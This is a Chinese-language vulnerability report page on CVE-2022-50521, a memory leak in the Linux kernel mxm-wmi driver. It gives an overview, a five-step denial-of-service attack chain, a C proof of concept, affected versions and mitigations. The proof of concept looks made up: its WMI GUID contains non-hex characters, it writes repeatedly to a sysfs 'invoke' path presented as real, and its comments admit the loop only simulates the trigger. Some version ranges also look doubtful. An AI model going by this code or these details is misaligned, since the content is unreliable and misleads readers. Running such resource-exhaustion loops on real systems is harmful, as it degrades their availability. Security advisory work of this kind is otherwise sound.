IPBUF安全漏洞报告
English
CVE-2022-50521 CVSS 5.5 中危

CVE-2022-50521 Linux内核mxm-wmi驱动内存泄漏漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50521
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (platform/x86: mxm-wmi子系统)

相关标签

内存泄漏Linux Kernelmxm-wmiACPIWMIplatform/x86本地提权拒绝服务可用性影响内核漏洞

漏洞概述

CVE-2022-50521是Linux内核platform/x86子系统mxm-wmi驱动中的一个内存泄漏漏洞。该漏洞位于mxm_wmi_call_mxds()和mxm_wmi_call_mxmx()函数中。当这两个函数通过wmi_evaluate_method()接口调用ACPI WMI方法时,wmi_evaluate_method()会分配一个ACPI输出缓冲区(out.pointer)用于存储方法返回值。然而,在调用完成后,该缓冲区内存未被释放,导致每次调用都会泄漏内存。由于这两个函数可能被频繁调用(例如在系统启动或硬件检测过程中),持续的内存泄漏将逐渐消耗系统可用内存,最终可能导致系统可用内存耗尽,影响系统稳定性和可用性。该漏洞的CVSS评分为5.5,属于中危级别,攻击者需要本地低权限即可触发,无需用户交互,主要影响系统的可用性。漏洞已在多个Linux内核稳定版本中修复,修复方法是将wmi_evaluate_method()的输出缓冲区参数设置为NULL,因为该函数的返回值实际上并未被使用。

技术细节

mxm-wmi是Linux内核中用于支持NVIDIA MXM(Mobile PCI Express Module)显卡切换功能的WMI(Windows Management Instrumentation)驱动。该驱动通过ACPI接口与系统固件通信,实现移动工作站上集成显卡与独立显卡之间的切换功能。

漏洞的根本原因在于mxm_wmi_call_mxds()和mxm_wmi_call_mxmx()函数的实现中。当调用wmi_evaluate_method()执行ACPI方法时,内核会动态分配一个ACPI缓冲区(类型为ACPI_TYPE_BUFFER)来存储方法的输出数据。wmi_evaluate_method()的函数原型为:

acpi_status wmi_evaluate_method(const char *guid, u8 instance, u32 method_id, const struct acpi_buffer *in, struct acpi_buffer *out);

其中out参数指向的缓冲区由内核分配,调用者负责在使用完毕后释放。然而,mxm-wmi驱动中的代码在调用wmi_evaluate_method()后并未释放该缓冲区,且由于函数返回值(ACPI缓冲区内容)实际上未被使用,这构成了纯粹的内存泄漏。

利用方式:本地低权限用户可以通过反复触发MXM相关的ACPI WMI方法调用来加速内存消耗。虽然单个调用的泄漏量较小,但通过编写恶意程序或脚本持续调用相关接口,攻击者可以在较长时间运行后耗尽系统内存,导致系统性能下降甚至触发OOM(Out of Memory)killer,影响系统可用性。

修复方案:将wmi_evaluate_method()的输出参数设置为NULL,使内核不分配输出缓冲区,从而避免内存泄漏。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获得目标Linux系统的本地低权限访问权限,可以通过普通用户账户登录或利用其他漏洞获取shell访问。
STEP 2
步骤2:定位mxm-wmi接口
攻击者检查系统是否加载了mxm-wmi驱动,并通过/sys/bus/wmi/devices/或ACPI接口定位可用的WMI方法调用入口。
STEP 3
步骤3:触发内存泄漏
攻击者编写脚本或程序,反复调用mxm_wmi_call_mxds()或mxm_wmi_call_mxmx()对应的ACPI WMI方法,每次调用都会泄漏一个ACPI缓冲区。
STEP 4
步骤4:持续消耗系统内存
通过长时间运行或高频率调用,攻击者逐渐耗尽系统可用内存,导致系统性能下降。
STEP 5
步骤5:触发系统不稳定
当可用内存耗尽时,OOM killer被触发,杀灭关键进程,导致系统可用性受损,可能引发拒绝服务状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2022-50521 PoC - Linux Kernel mxm-wmi Memory Leak * This PoC demonstrates how to trigger the memory leak by repeatedly * calling the vulnerable mxm_wmi_call_mxds/mxmx functions via sysfs * or direct ACPI interface. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> /* The MXM WMI GUID is defined in the kernel driver */ #define MXM_WMI_GUID "95F24279-4D7B-4334-9389-ACID2DA64B26" /* Method IDs for MXM functions */ #define MXM_WMI_CALL_MXDS 0 #define MXM_WMI_CALL_MXMX 1 int main(int argc, char *argv[]) { int iterations = 10000; int i; if (argc > 1) { iterations = atoi(argv[1]); } printf("CVE-2022-50521 PoC: Triggering mxm-wmi memory leak\n"); printf("Iterations: %d\n", iterations); /* Trigger the memory leak by repeatedly accessing mxm-wmi interface. * In a real scenario, this would be done via: * 1. Loading/unloading the mxm_wmi module * 2. Writing to mxm_wmi sysfs entries * 3. Directly calling ACPI evaluate method via /proc/acpi or similar * * Each call to mxm_wmi_call_mxds() or mxm_wmi_call_mxmx() leaks * an ACPI buffer allocated by wmi_evaluate_method(). */ for (i = 0; i < iterations; i++) { /* Simulate triggering the WMI method call. * In practice, use acpi_evaluate_object or similar interface. */ system("echo 1 > /sys/bus/wmi/devices/95F24279-4D7B-4334-9389-ACID2DA64B26/invoke 2>/dev/null"); } printf("Done. Check memory usage with 'free -m' to observe leak.\n"); return 0; }

影响范围

Linux Kernel < 5.15.71
Linux Kernel 5.16.x < 5.16.58
Linux Kernel 5.17.x < 5.17.14
Linux Kernel 5.18.x < 5.18.3
Linux Kernel 5.19+ (修复前版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解:1)在modprobe配置中禁用mxm-wmi模块(注意这将影响NVIDIA MXM显卡切换功能);2)限制普通用户对WMI相关sysfs接口的访问权限;3)监控系统内存使用,及时发现异常消耗;4)定期重启系统以释放泄漏的内存。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表